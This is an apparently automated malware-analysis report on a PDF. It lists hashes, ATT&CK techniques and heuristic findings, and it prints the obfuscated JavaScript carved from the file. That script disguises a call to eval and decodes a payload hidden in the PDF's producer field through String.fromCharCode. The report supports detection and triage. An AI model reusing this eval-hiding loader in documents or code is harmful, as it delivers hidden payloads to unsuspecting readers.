Malicious PDF — malware analysis report

Static analysis result for SHA-256 41de55e0812ed44f…

MALICIOUS

PDF

22.2 KB Created: 2010-07-25 10:32:51 First seen: 2026-05-08
MD5: 2b33ae6d0d2885b601590cc91323b55e SHA-1: 98f45d7b3a0dd93e23133f878d702fd2f5368342 SHA-256: 41de55e0812ed44fca172192275e670fca046ba809286d09a5f1aaa0f78fdfa3
116 Risk Score

Malware Insights

MITRE ATT&CK
T1059.007 JavaScript T1203 Exploitation for Client Execution T1566.001 Spearphishing Attachment

The PDF document contains embedded JavaScript that utilizes String.fromCharCode to decode and execute a payload. This JavaScript is likely intended to exploit a vulnerability in the PDF reader to achieve arbitrary code execution. The ML classifier strongly indicates maliciousness, and the exploit cluster heuristic further supports this. The sample is attributed to the Spearphishing Attachment initial access vector due to its nature as a PDF document.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 4

  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    hzkkq\(hzkkq\('String.fromCharCode\(' + wasji + '\)'\)\);
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0x5685 386 bytes
SHA-256: 06e1eb276964792b4611eaef7f542bf799bc9fb6f96772e0c4d32a4b66a64b1f
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
tyg = app;
vkp = new Date(2010,11,4);
var dbrmj='';
var vcfb = 'e'+vkp.getDay()+'a'+dbrmj+'l';
vcfb = vcfb.replace('6','v');
hzkkq=tyg[vcfb];
var dbrmj='';
hzkkq('va'+dbrmj+'r tgpnv=th'+dbrmj+'i'+dbrmj+'s');
twom='pr' + dbrmj + vkp.getDay() + dbrmj + 'uc' +'er';
twom = twom.replace('6', 'od');
var wasji = tgpnv[twom];
hzkkq(hzkkq('String.fromCharCode(' + wasji + ')'));

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